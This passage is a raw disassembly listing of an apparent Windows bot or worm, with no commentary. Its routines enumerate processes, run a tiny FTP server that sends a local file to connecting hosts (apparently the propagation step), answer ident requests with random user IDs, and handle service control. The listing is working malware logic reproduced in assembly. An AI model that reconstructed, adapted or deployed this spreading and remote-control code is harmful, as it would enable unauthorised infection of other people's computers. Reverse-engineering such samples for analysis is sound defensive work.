80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44401C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444010 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444008 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_443FFC lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472A7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6ECB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44767F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6ECB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx call near ptr 71AB9639h nop lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6ECB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E74 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax call near ptr 71AC1028h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DE8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44767F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5EA1BD mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax call near ptr 77C4139Ch nop add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DE8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 29B0000h loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E74 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6EC9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472AB xor ebx, ebx cmp cl, bl mov byte_4E6EC9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F60 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5EA1BD add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6EC9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 29B0000h jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB58 mov dword_50BB3C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB58 mov dword_50BB3C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB58 xor eax, eax mov dword_50BB44, eax mov dword_50BB3C, 1 mov dword_50BB4C, eax mov dword_50BB50, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB5C push offset dword_50BB38 push eax mov dword_50BB3C, 4 call near ptr 2A606BEh nop retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44793F mov dword_50BB38, 20h mov dword_50BB3C, 2 mov dword_50BB40, 3 mov dword_50BB44, esi mov dword_50BB48, esi mov dword_50BB4C, esi mov dword_50BB50, esi call sub_4017E4 push eax nop call near ptr 2A6037Dh cmp eax, esi mov dword_50BB5C, eax jz short loc_41FBAA push offset dword_50BB38 push eax mov dword_50BB3C, 4 mov dword_50BB4C, esi mov dword_50BB50, esi call near ptr 2A606BEh nop 